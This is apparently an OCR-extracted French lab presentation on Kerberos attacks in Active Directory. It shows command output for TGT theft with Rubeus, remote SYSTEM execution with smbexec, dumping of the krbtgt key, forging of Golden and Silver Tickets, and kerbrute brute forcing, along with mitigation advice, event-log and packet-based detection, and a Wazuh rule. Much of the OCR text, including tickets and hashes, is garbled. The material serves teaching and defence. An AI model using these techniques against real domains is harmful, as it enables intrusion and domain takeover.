] RenewTill
Flags
| KeyType
1 Baseg4(key)

se connecter

rolin.ccache
LLC and its affiliated companies

1

: L4e688537cBde6929287d1dasdeaf6adbdcoseSedecddlsT0adaedBae7 fobdcs59
: c.blanc-rolin

: WOUNDRIDE.LOCAL

: krbtgt/WOUNDRIDE.LOCAL

: WOUNDRIDE.LOCAL

12/02/2025 23:34:37 PM
13/82/2025 09:34:37 AM
13/82/2025 23:34:36 PM
(@x50c10000) forwardable, proxiable, renewable, initial, enc_pa_rep

: aes256_cts_hmac_shal_96
: ROAIU3wNBpKSh9HaTQr2qb3AT17c3TRwrasIrn9r3Fk=

Decoding unencrypted data in credential[@][ ' ticket']:

Service Name
Service Realm
Encryption type

: krbtgt/WOUNDRIDE.LOCAL
: WOUNDRIDE.LOCAL
: aes256_cts_hmac_shal_96 (etype 18)

Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_shal_96 (etype 18), but no keys

KRBSCCNAME=c.blanc-rolin.ccache
Impacket v@.12.8 - Copyright Fortra,

Type help for list of commands
# shares
ADMINS

# use test
£ 1ls

woundride.local/c.blanc-rolin\@pcll
LLC and its affiliated companies

drw-rw-rw- @ Wed Feb 12 23:38:38 2025 .
drw-rw-rw- @ Wed Feb 12 22:14:06 2025 ..
—TW-TW-TW— 8 Wed Feb 12 23:38:45 2025 coucou.txt

N |

% KRB5CCNAME=c.blanc-rolin.ccache woundride.local/c.blanc-rolin\@pcll
Impacket v8.12.0 - Copyright Fortra, LLC and its affiliated companies

Reguesting shares on pcll

Found writable share ADMINS

Uploading file vUiOyLUz.exe

Opening SVCManager on pcll

Creating service UMNO on pcll

Starting service UMNO

1 Press help for extra shell commands

Microsoft Windows [version 10.0.22631.2428]
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) Microsoft Corporation. Tous droits reserves.

C:\Windows\System32> whoami

[-] Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec

autorite nt\systeme

C:\Windows\System32> I
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\c.blanc-rolin\Desktop> .\Rubeus.exe monitor /finterval:1 /nowrap

nnur’\dr‘lde\admj

PS C:\Users\c.blan

Action: TGT Monitoring

Monitoring every 1 seconds for new TGTs

54:32 UTC Found new TGT

©2/02/2026 18:

c.blanc-rolin@wWOUNDRIDE . LOCAL

©2/82/2026 11:51:42

02/82/2026 21:51:42

©9/02/2026 11:51:42

name_canonicalize, pre_authent, initial,

User

StartTime

EndTime

RenewTill

Flags
Basef4EncodedTicket

PS C:\Users'
dfCdk1QuUS

renewxb

doIFrjCCBaqgAWIBEaEDAgEWooIEPTCCEKFhggSdMIIEMaADASE FORERD1dPVUSEUKLERY
bMBkbBmtyYnRndBsPVBIVTkRSSURFLkxPQBFMo: VzCCBFOg;: BEQEDAgEC00TERQSCBEEYE
5y XkemM+8DBWmMEdeVT9gs8QEAyqcfcBdfhUkdej19v4X3hP2e]YUQN3DiejPiof/OE GVth
7 aUnQeCPkULWFykfLS74w0z fseUCdUwgZ 1BmSL815774XDkVAk1hhYzdtCub37DzARBkrplM]
uQ1ts2Fuwf+zfYIXYb9bFxwbbUjkPbdRA4EBP/ gd uXk/jq2uHDskTc8QGEBSPCVBxXSs1ja-
TgNbitS94tRfLbNaH7FATRKCbZevdN86pR/IW11x66F+x7Yago4ErEla+ 5’\.D~I'IuqudPxG~r‘
R13BwhwYCrIDW3HZ Sll'laguspl\lsxan !

tPNIjw30@08YHcf8gVpIIthsIY1nIRQs7

dEnser:r‘BBoCU thB QngJH(CDdf‘F’.LLmU\.

FRo82Ng4rpjUubULONgVWrISyspeLmhe37z| Dr'VIP OhueljbQsc 'l\u'FV:|ntShljdeuG?rl?Cr‘EfDE
J1ge5RCO5203XC2: GAGCONSNMEN2sgBCSZ8j4rCTL2+yW0a99rQuXS2LBNETR+gz 51
3nZgFKRWFhE4fgWYiiahrr3UP8yzaNCvVrCoQqn7MvevMpX2ZLRDOph3ZEAeSUhOKmegsESim]
igLXCmS19R eDEVqu77(1U3:QRJgI‘JEu-‘LGI‘MLX(X EgDgCc bEDG\.anU"I cgeavfFc
7P‘7Qi\ql'<6m—b agI0Aryiode

Répertoire

97q_r‘buU_mqun g1 p?-()(ll

r4DKjgfQuefGgAWI BAKKE6QSE5N2B42CBAKCB3TCB2iCB16ArMCmMgAWIBEGEL BCDOCY 31T Xxal.
yJAaHHeB7bQaERGWIXT1VORFIJREUUTESDQUYiGjAYOAMCAQGhETAPGW1jLmI sYlk LK]VhGIld r
JYwlMjAyM YRGASyMDI2MDIwMj IulT EBr‘lanRgPI']wl’l]Awr‘D<xI‘DUxHDJanEbD1c
MCKg, BAqur‘B(bEmJ’VmRndBSDVGQV kRSSURFLkxPQ@FM

cy3

35+n171vinbiMfCO6DRUXSSTZKh:
D gFKRuFhE4Fgl
NYGYEgurfMwNObuiSonL 12011 1:
KnS1SdLs/D+Fr4DKJgfQugfGgA
NTE@HM1gnERgPM Ay jAyMDkxHDUXNDJagBEDD1dPV!

admin_t2_cbr n’est pas admin de domaine, mais c.blanc-rolin oui **, a I'aide du
ticket TGT volé, il est possible de se connecter au DC

rolin\Desktop> whoami.exe
br
rolin\Desktop> dir \\w2819-dc81\c$

MaADAEEFOREBD1APVUSEUKL ERSSMTENBTK TKHCKgAWIBAGEDHBKbEMtyYnRndBSPVOOVTKRSSURF LkxPQBFMOAIEV2 CCBFOZAWIBEGEDAZECOOI ERQSCBEEYBq
fseUCdUwgZ1BmSLE
DyNuzLqdPxGyrYB71ehyHKDDMWOBdSC
ViRSgWOBIFUBHFTE dE\‘srjfsr‘EEMUU

vrv;ntshljdanammr‘m

rolin\Desktop> .\Rubeus.exe
hDpB+QiQg4KC6dr:
CI1ge5RCI520 /
gDECcbBB6GCnUYUywy
MbuU ImuVpn TN

g
LQR]gHauaaHaLxLXAcL
450uhhat8YM4xIgdx1SuR+fD
aHHeB7bQAERGHOXTIVORFI IREUUTESDQUYLG]

oL /ByXIHgqy w‘GEp<FRnSlqur‘pjuubULGHng.r‘ y
NCVVrC9Qqn7MvevMpX2: AeSUhOKmegsESim7rBGECNKTiR

P XUXERK + mquVl'GFD LlKD(7 1QpQRUSYYAW1Sp2DCXASFAIIMU7UOL ThK+
B4KCB3TCB2ICB16ArMCMEAWIBEGE BCDOCY 31 TXX4EUNWQX+CRrRF1omOTY,/ C
UKIERSSHTBNBTKKKMEK gAWTBAGE bMBKbBmt yYnRndBsPVBOVTKRSSURF LkoxPQBFM

8
5 LXIvbG1uoWCDBQBAAS

Ticket
cessfully imported!

.blanc-rolin\Desktop> dir \\w2019-dce1\c$

: \\w2019-dcei\cs

Lasi Length Name
03/09/2020
29/68/2025
29/68/2025
84/061/2035
02/02/2026
26/85/2024

pPerflogs
Program Files
Program Files (x86)
Users
Windows

6520832 wazuh-agent
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Eviter ces attaques

Auditer régulierement son AD (ADS, PingCastle, Purple Night, Rubeus, Impacket) pour
vérifier 'absence de comptes utilisateurs pour lesquels :

* La pré-authentification Kerberos est désactivée
e L’attribut ServicePrincipalName est défini

Si une solution nécessite l'utilisation de I'attribut ServicePrincipalName, privilégier :
* L'utilisation de comptes machines

* Dont les mots de passe sont généralement aléatoires et robustes
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Attaque de type Golden Ticket

Contexte :
* Attaque de type « persistance »

* Nécessite la compromission du compte krbtgt (I'attaquant doit étre administrateur du domaine
pour effectuer cette compromission)

Fonctionnement :

* Apreés avoir obtenu le condensat du mot de passe du compte krbtgt

* L'attaquant peut forger des tickets TGT pour n'importe quel compte utilisateur (méme un
utilisateur n’existant pas dans I'annuaire)

* Ce ticket sera valide jusqu’a sa date de fin de validité, tant que le mot de passe du compte krbtgt
n’aura pas été modifié

p
b
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woundride.local/admin_t@_cbr\@192.168.46.2
Impacket v0.12.8 - Copyright Fortra, LLC and its affiliated companies

Password:

[*] Brute forcing SIDs at 192.168.46.2

[*] StringBinding ncacn_np:192.168.46.2[\pipe\lsarpc]

[#] Domain SID is: 5-1-5-21-3332904308-16144B7934-34@7257785

Récupération du condensat de mot de passe du compte krbtgt (com

= woundride.local/admin_t@_cbr\@l192.168.46.2
Impacket v@.12.8 - Copyright Fortra, LLC and its affiliated companies

Password:

[*] Service RemoteRegistry is in stopped state

[#] Starting service RemoteRegistry

[*] Target system bootKey: 8x=61e5148a26ef561f29b233704e51bbad

[#] Dumping local SAM hashes (uid:rid:lmhash:nthash)

[*] Kerberos keys grabbed
Administrateur:aes256-cts-hmac-shal-96:963dee662189886cebbd2ca30fadd87daa31885fccffcab290b796288e16d804
Administrateur:aesl28-cts-hmac-shal-96:5259e2c4f5b5f23af1b19b1712akccab
Administratenr:des_che-mAdS:2¢3dfR2QAT5ARAF 2T
krbtgt:aes256-cts-hmac-shal-96:cb4798f336ffak7230e861945e5e7552349197231d66c6065Fdd061bce3ealy

KUl des IZ8-C s MiaC=siid I-96 . 8e 339 0oUU 144908303 T3UZEZUCTYa40

krbtgt:des-cbc-md5:cdfb43@7f8493489
woundride.localhc.blanc-rolin:aes256-cts-hmac-shal-96:36986cee810db67bfe7666103ae4fbcbibac83elbbbaTb8fad211ccab923faff
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Attaque de type Golden Ticket : génération du ticket

interaction avec le DC) d

t t -aeskey cb4798f336ffak7230e861945e5e75523491F97231d66c6065fdde61bce3eal? -domain-sid S-1-5-21-3332904308-1614487934-3407257785 -domain woundride.local administrateur
Impacket v@.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
/usr/share/doc/python3-impacket/examples/ticketer.py:141: DeprecationWarning: datetime.datetime.utcnow() is deprecated scheduled for removal in a future version. timezone-aware objects represent datetimes i i datetime.
etime.now(datetime.UTC).
aTime = timegm(datetime.datetime.utcnow().timetuple())
[*] Customizing ticket for woundride.local/administrateur
/usr/share/doc/python3-impacket/examples/ticketer.py:600: DeprecationWarning: datetime.datetime.utcnow() is deprecated scheduled for removal in a future version. timezone-aware objects represent datetimes i : datetime.
etime.now(datetime.UTC).
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration))
J/usr/share/doc/python3-impacket/examples/ticketer.py:718: DeprecationWarning: datetime.datetime.utcnow() is deprecated scheduled for removal in a future version. timezone-aware objects represent datetimes i : datetime.
etime.now(datetime.UTC).
encTicketPart['authtime'] = KerberosTime.to_asni(datetime.datetime.utcnow())
J/usr/share/doc/python3-impacket/examples/ticketer.py:719: DeprecationWarning: datetime.datetime.utcnow() is deprecated scheduled for removal in a future version. timezone-aware objects represent datetimes i i datetime.
etime.now(datetime.UTC).
encTicketPart[ ' 'starttime’] = KerberosTime.to_asnl{datetime.date
[*] PAC_LOGON_INFO [
[*] PAC_CLIENT_INFO_TYPE g administrateur.ccache
[*] EncTicketPart Impacket ve.12. B = Copvrlght Fortra, LLC and its affiliated companies
J/usr/share/doc/python3-impacket/examples/ticketer.py:843: Depreca
etime.now(datetime.UTC). , : -
encRepPart['last-req"][@][ 'lr-value'] = KerberosTime.to_asnl(da ] NUMb?r of creder,‘tlals in cache: 1
[+1 EncAsRepPart [#] Parsing credential[@]:
[*] signing/Encrypting final ticket [*] Ticket Session Key © BC4B6CH4TaT7I7568526768415a51725372625143495461514a744d6T75797756
[*] PAC_SERVER_CHECKSUM [*] User Name : administrateur
E:} e [*] User Realm : WOUNDRIDE.LOCAL
[*] FrcASRepDart [*] Serv?ce Name : krbtgt/WOUNDRIDE.LOCAL
[*] Saving ticket in administrateur.ccache [*] Service Realm : WOUNDRIDE.LOCAL
[*] Start Time 1122/82/2025 B0:37:21 AM
[*#] End Time 1120/02/2035 BPO:37:21 AM
[*] RenewTill : 20/02/2035 00:37:21 AM
[#] Flags : (0x50e@d@00) forwardable, proxiable, renewable, initial, pre_authent
[*] KeyType : aes256_cts_hmac_shal_96
[*] Base64(key) 2 bEhSZHp5d\'i’h522hB\'ﬂFyU?»]lUUN]\"GFRSnRNb3\"5dl‘|’—
[*] Decoding unencrypted data in credentlal{@}F ticket']:
[*] Service Name : krbtgt/WOUNDRIDE.LOCAL
[*] Service Realm : WOUNDRIDE.LOCAL
[*] Encryption type : aes256_cts_hmac_shal_96 (etype 18)

2 E PLACE [-]1 Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_shal 96 (etype 18), but no keys/creds were supplied
JULY 27TH 601 SLOTE ROAD
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. : Attaque de type Golden Ticket : utilisation du ticket

L'attaquant peut désormais se connecter aux différentes ressources du domaine avec les priviléges
de l'utilisateur choisi (des tickets TGS seront généreés a partir de ce TGT « passe partout » :

e

KRESCCNAME=administrateur.ccache ' woundride.local/administrateur\gw2019-dc@l
Impacket v@.12.8 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use c$

# 1s

drw-rw-rw- 5]
drw-rw-rw- @
—-rw-rw-rw- F38197504
drw-rw-rw- ]
drw-rw-rw-
drw-rw-rw-
drw-rw-rw-
drw-rw-rw-
drw-rw-rw-
drw-rw-rw-
—-TrW-rw-rw- 652083
drw-rw-rw-

# 1

$Recycle.Bin

Documents and Settings

pagefile.sys

PerflLogs

Program Files

Program Files (x86) PLACE

ProgramData 7 ¥ ) 601 SLOTE ROAD
ERHUN KET ENSURES ADMITTANCE,

Recovery 1

System Volume Information

Users

wazuh-agent

Windows

]

[ ] ()
N+ ST - R B

2aNE e e ®
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Attaque de e Silver Ticket
P-4 q typ

Contexte :
* Attaque de type « persistance »

* Nécessite la compromission du compte machine (I'attaquant doit disposer de priviléges sur la
machine pour effectuer cette compromission)

Fonctionnement :

* Apres avoir obtenu le condensat du mot de passe du compte machine

 L'attaquant peut forger des tickets TGS pour n‘importe quel compte utilisateur (méme un
utilisateur n’existant pas dans I'annuaire)

* Ce ticket sera valide jusqu'a sa date de fin de validité, tant que le mot de passe du compte
machine n’aura pas été modifié
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Domain SID is:

Hb@b3afeaiaa2s7 25c9c628868944F988

¢ HoYET/HCY4anieeo CYab144488hE T8 /O
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Attaque
000

Génération (en local

— t t thash b@b3af6a7aa25725c9c6208609441980
Impacket ve.12.0 - Copvr1gnt Fortra,

[#] Creating basic skeleton ticket and PAC Infos
/usr/share/doc/python3-impacket/examples/ticketer.py:141
etime.now(datetime.UTC).
aTime = timegm(datetime.datetime.utcnow().timetuple())
[#] Custemizing ticket for woundride.local/administrateur
fusr/share/doc/python3-impacket/examples/ticketer.py:60@: Depr
etime.now(datetime.UTC).
ticketDuration = datetime.datetime.utcnow() + datetime.timed
Jusr/share/doc/python3-impacket/examples/ticketer.py:718: Depr
etime.now(datetime.UTC).
encTicketPart['authtime'] = KerberosTime.to_asnl{datetime.dal
Jusr/share/doc/python3-impacket/examples/ticketer.py:719: Depr
etime.now(datetime.UTC).
encTicketPart[ 'starttime’] =
[*] PAC_LOGON_INFO
[*]1 PAC_CLIENT_INFO_
[*]1 EncTicketPart
fusr/share/doc/python3-impacket/examples/ticketer.py:843: Depr
etime.now(datetime.UTC).
encRepPart['last-reg"]J[@]["lr-value'] =
EncTGSRepPart
] signing/Encrypting final ticket
PAC_SERVER_CHECKSUM
PAC_PRIVSVR_CHECKSUM
EncTicketPart
EncTGSRepPart
Saving ticket in administrateur.ccache

KerberosTime.to_asnl(datetime.d

TYPE

KerberosTime.to_asnl

de type Silver Ticket : génération du ticket

sans interaction avec le DC) d

domain-s 5$-1-5-21-3332904308-1614487934-3407257785 -do woundride.local cifs/w2019-dc@1 administrateur

LLC and its affiliated companies

DGDT”“:""" S

administrateur.ccache
Inpacket UO 12.@ - Copyright Fortra, LLC and its affiliated companies

Number of credentials in cache: 1
Parsing credential[@]:
Ticket Session Key
User Name

User Realm

Service Name

Service Realm

Start Time

End Time

RenewTill

Flags

KeyType

[*]
[*]
[*1]
[*]
il
[*]
[*]
[*]
[*]
[*]
[*]
[*]

706d6648486b63437a664e746b4a686a
: administrateur
: WOLINDRTNE 1LACA
1 cifs/w2@19-dcel
: WOUNDKLUE.LOCAL

31/03/2825 23:02:39 PM

29/03/2035 23:02:39 PM

29/93/2@035 23:02:39 PM

(@=x50a@0@@@08) tforwardable, proxiable,

rc4_hmac
[+] Base64(key) cGImSEhrYeN6Zk50alpoag=
[*] Kerberoast hash : $krb5tgs$23$+USER$WOUNDRIDE. LOCAL$cifs/w2019-dc01*$8ed6087f972023aceaaf5b72936c2a32$c854592eadcblcb9d@2752f701d3ba191035e1
eﬁhfbllSYFecbO&BQ?FleY15e9c0d890315a9a?2e12fc2?090c9ecd3f8142?b912a96006510fflFQObee?adchSde1614d9a16a8b12ef08f1230d50c81lee042e?5d9lb20?0e565ﬁ04be44b9060cb
6caktd2c75d831fd79de27239f4F43F3001e07fd6de5@2740cb6fde3af5cf82e483bed3eaccleb9755b68e8676d914b91169alce8c7867498eff71012199a43cdb13286955925187cacf@1698aed4s
e1b04953fb2ed517688d75423a5b818c9c6471a26d5449e73446b053a070404ddb0bseld9409ab3b77ac735ed536a75348a55d7428240863a0b32f7136d87a42329b690bb259474a08ab7764f6fe788d
3e2996f15d206ad8bedb2b57ee7f&c2ebadB807d459346f8a66bc85ee870d68914chb055bas8861182a6d668chfee71074130713e91f42db6618ac506493b4086619385b255162570c6b8fa7207@f1c
36e40e963ebfaece31db9c8ab74607181db35c390d3027366b08aabl1567d2752bf8f3ed46978F89b3a31612b1a0264ab8705e76dc9610a93dd7d7bf45645f4bf58138ca9523¢c74e1b2a59049148610
a7aBfe63af6ee36803ddObbo8cB89df3c29d5662974466a6650bd95801785b46efes5e1f52a259670bebfe73fe5f510c90149ch4s1a9calfadd11ba9653a7f899dd1533c02d29b43cc94T618922a0112
95a@26ff8656cf7669eb@1556dbcdblde@c8d@3a67dffe99088102091f0c90decbf@b6c36a2e2a%bfbld221echb2bd7@3471100962a61bec5126730F70e9daeb58c7ce57e4ab1fc70e259b789827931
938e288da567612eb94a282322796606eddas179a511de9e%eidact2e60blacsdlas2049e2f08c6bb73d62c16e8d6895f8ab38b3c79000e9ac739de80580a02361c9937f77bc1f7480ec7febadfaas
57f9b40173e92cf2e4656fdc7513675¢c387914329e9e6c6@cc050565b9b725a946febl116e2e0755f08846dd42a5efcscobd6c7f9106789b5e38b785d97ad8b185e133851a1923c1cbb72d9f0655f26
a76c3cbd97712dd99732c85c@b120f9f4d5786e90cc978c53e4ffc1022246b40F8e37bf005646c21feb81299db34db50e30952e16e8773519b6b365c6819d8062a189b7bef4400cddab75e62fd8797
72fafc3df1a@@isb&cdea569dad2ab1bd5afc7ddc5a3eld79ce5f412321a6962a@203719ec7758Ff660622af7364be3c9b02a4e35b7c26Tb4829d2226e4619a661317e369a308cad542419368b9c168
43bd489bae672b8f54bbb2efe29f03c82e2e195c02f7b13626b18a193c6069fd80c45b32e8e6becclcs5986c5e@90
[*] Decoding unencrypted data in credential[@][ ' ticket']:
[*]1 Service Name cifs/w2019-dcol
[*] Service Realm : WOUNDRIDE.LOCAL
[*] Encryption type rc4_hmac (etype 23)
[-]1 Could not find the correct encryption key! Ticket is encrypted with rc4 hmac (etype 23),

renewable, pre_authent

but no keys/creds were supplied
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Attaque de type Silver Ticket : utilisation du ticket

L'attaquant peut désormais se connecter a la machine avec n‘importe quel compte utilisateur,
notamment le compte administrateur du domaine :

KRBSCCNAME=administrateur.ccache woundride.local/administrateur\gw2019-dc@l
Impacket w@.12.8 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
“system32>hostname
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Contrer une attaque de type Golden ou Silver Ticket

Changer régulierement le mot de passe du compte krbtgt

Désactiver les comptes a haut privileges lorsqu’ils ne sont pas utilisés

Réduire les priviléeges lorsqu’ils ne sont pas utilisés

Monitorer I'utilisation des comptes a hauts privileges

Mettre en place le Tiering Model

Utiliser des serveurs Bastions / PAM (Privileged Access Management)
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Détection d’attaques sur Kerberos - TGT

Les informations présentes dans les journaux d’événements des contréleurs de domaines, ainsi que
les requétes LDAP émises sur le réseau, peuvent permettre de détecter I'utilisation d’outils tels que

Rubeus ou Impacket, en particulier, grace aux options relatives aux tickets lors des demandes faites

au KDC.
* Demande d'un ticket TGT depuis Xindows :

Frame 4: 298 bytes on wire (2384 bits), 298 bytes captured (2384 bits)
Ethernet II, Src: Stormshi_ , Dst: PcsCompu
Internet Protocol Version 4, Src: 192.168.42.102, Dst: 192.168.46.2
Transmission Control Protocol, Src Port: 61357, Dst Port: 88, Seq: 1, Ack: 1, Len: 244
Kerberos
» Record Mark: 240 bytes
v as-req
pvno: 5
msg-type: krb-as-req (10)
padata: 1 item
~ req-body

Dadding' 6]

kdc-options: 40810010

4 v

» AITE
realm: WOUNDRIDE.LOCAL

- sname
name-type: KRB5-NT-SRV-INST (2)
~ sname-string: 2 items
SNameString: krbtgt
SNameString: WOUNDRIDE.LOCAL
till: Sep 13, 2100 04:48:05.000000000 CEST
rtime: Sep 13, 2100 04:48:05.000000000 CEST
nonce: 363146977
etype: 6 items
addresses: 1 item PC11<20=

AS-REQ émise sur le réseau

© Charles BLANC-ROLIN

Sécurité Nombre d'événements : 706 (!) Nouveaux événements disponibles

Mots clés Date et heure Source ID... Catégorie delatiche

Succes de l'audit 09/02/2026 22:53:19  Microsoft Windows security auditing. 4768 Kerberos Authentication Service

Evénement 4768, Microsoft Windows security auditing.

Général Détails

(® Vue simplifiée () Vue XML

+ System
- EventData

TargetUserName cblanc-rolin
TargetDomainName WOUNDRIDE

TargetSid 5-1-5-21-3332904308-1614487934-3407257785-1104
ServiceName  krbigt

ServiceSid 5-1-5-21-3332904308-1614487934-3407257785-502
TicketOptions

Status 0x0

TicketEncryptionType 0x12
PreAuthType 2

IpAddress =ffff:192.168.46.11
IpPort 49716
CertlssuerName

CertSerialNumber £\ ahement 4768 (demande d'un TGT) sur un DC
CertThumbprint
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Demande d'un ticket TGT (AS-REQ) depuis des outils offensifs :

Raw packet data

~ Kerberos
+ Record Mark: 268 bytes
- as-req
pvno: 5

msg-type: krb-as-req (10)
» padata: 2 items
~ req-body
Padding: ©
+ cname
realm: WOUNDRIDE.LOCAL
~ sname

name-type: KRB5-NT-PRINCIPAL (1)
~ sname-string: 2 items
SNameString: krbtgt
SNameString: WOUNDRIDE.LOCAL
till: Apr 3, 2025 23:00:41.000000000 CEST
rtime: Apr 3, 2025 23:00:41.000000000 CEST
nonce: 51366971
» etype: 1 item

Impacket

Frame 1: 312 bytes on wire (2496 bits), 312 bytes captured (2496 bits)

Internet Protocol Version 4, Src: 192.168.42.106, Dst: 192.168.46.2
Transmission Control Protocol, Src Port: 51850, Dst Port: 88, Seq: 1,

Détection d’attaques sur Kerberos — TGT

nts disponibles

Date et heure

Mots clés

Source ID.. Catégorie delatiche

’g{ Succes de l'audit 09/02/2026 23:03:14  Microsoft Windows secunity auditing. 4768  Kerberos Authentication Service

Len: 272

Frame 5: 229 bytes on wire (1832 bits), 229
Ethernet II, Src: Stormshi_

Internet Protocol Version 4, Src: 192.168.41

Transmission Control Protocol, Src Port: 562
Kerberos
+ Record Mark: 171 bytes
~ as-req
pvno: 5
msg-type: krb-as-req (10)
+ padata: 1 item

-~ req-body
Padding: @
v [kdc-options: 408008810)|
» chame
realm: woundride. local

~ sname
name-type: KRB5-NT-SRV-INST (2)
* sname-string: 2 items

Evénement 4768, Microsoft Windows security auditing.

SNameString: krbtgt
SNameString: woundride.local
till: Sep 13, 2037 06:48:05.000000000
nonce: 105245012
b etype: 1 item

Rubeus

Charles BLANC-ROLIN

Général Détails
®) Vue simplifiée O Vue XML
+ System

- EventData

TargetUserName admin_t0_cbr
TargetDomainName woundride.local

TargetSid 5-1-5-21-3332904308-1614487934-3407257785-1121
ServiceName  krbtgt

ServiceSid 5-1-5-21-3332904308-1614487934-3407257785-502
TicketOptions  |0x40800010

Status 0x0

TicketEncryptionType Ox12
PreAuthType 2

IpAddress «ffff:192.168.46.11
IpPort 49880
CertlssuerName
CertSerialNumber
CertThumbprint

CEST
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. : Détection d’attaques sur Kerberos — Bruteforce

Bruteforce ou password spraying avec Kerbrute sur la pré-authentification Kerberos :

charles@machine: b . /kerbrute_linux_amd64 bruteuser -d woundride.local --dc 192.168.46.2 -v rockyou.txt administrateur

2@025/06/23 01:@6:15 > Using KDC(s):
2025/06/23 01:@6:15 > 192.168.46.2:88
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= O wazuh. v Management Rules

¢ kerbrute.xml

1

3
4
5
6
7
8

- <group name="windows,windows_security,">

- <rule id-"1@ea@8" level-="18">»
<if_sid>6eeel</if sid>
<field name="win.system.eventID">"4771%</field>
<field name="win.eventdata.status">"8x18%</field>
<options»no_full_log</options>
<description>Kerberos pre-authentication failed.</description>
</rule>

+ <rule id="188@89" level="12" frequency="18" timeframe="6@">
<if_matched_sid>180888</1if_matched_sid>
<same_field>win.eventdata.targetUserName</same_field>
<options»no_full_log</options>
<description>Kerberos bruteforce detected for $(win.eventdata.targetUserName).</description>

5 - cmitre>
<id>T1l1e</id>
</mitre>
<group>kerbrute, </group>
</rule>
</groups|

Charles BLANC-ROLIN

Create a new GPO ( I Menu)

Configuration ordinateur
Stratégies

> Paramétres Windows

> Paramétres de sécurité

> Configuration avancée de la stratégie d’audit
Stratégies d'audit

> Connexion de compte

>> Auditer le service d'authentification Kerberos >>> Echec
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Ressources et outils utilisés

Fonctionnalité dépréciées (Microsoft) :
https://learn.microsoft.com/en-au/windows/whats-new/deprecated-features

Fonctionnement de Kerberos (MIT) :
https://www.kerberos.org/software/tutorial.html

Vulnérabilité AS_REP Roasting (ANSSI) :
https://www.cert.ssi.gouv.fr/uploads/ad checklist.htmi#vuln kerberos properties preauth priv

Vulnérabilité Kerberoasting (ANSSI) :
https://www.cert.ssi.gouv.fr/uploads/ad checklist.html#vuln spn_priv

Rubeus (GhostPack) :
https://github.com/GhostPack/Rubeus

Impacket (Fortra) :
https://github.com/fortra/impacket
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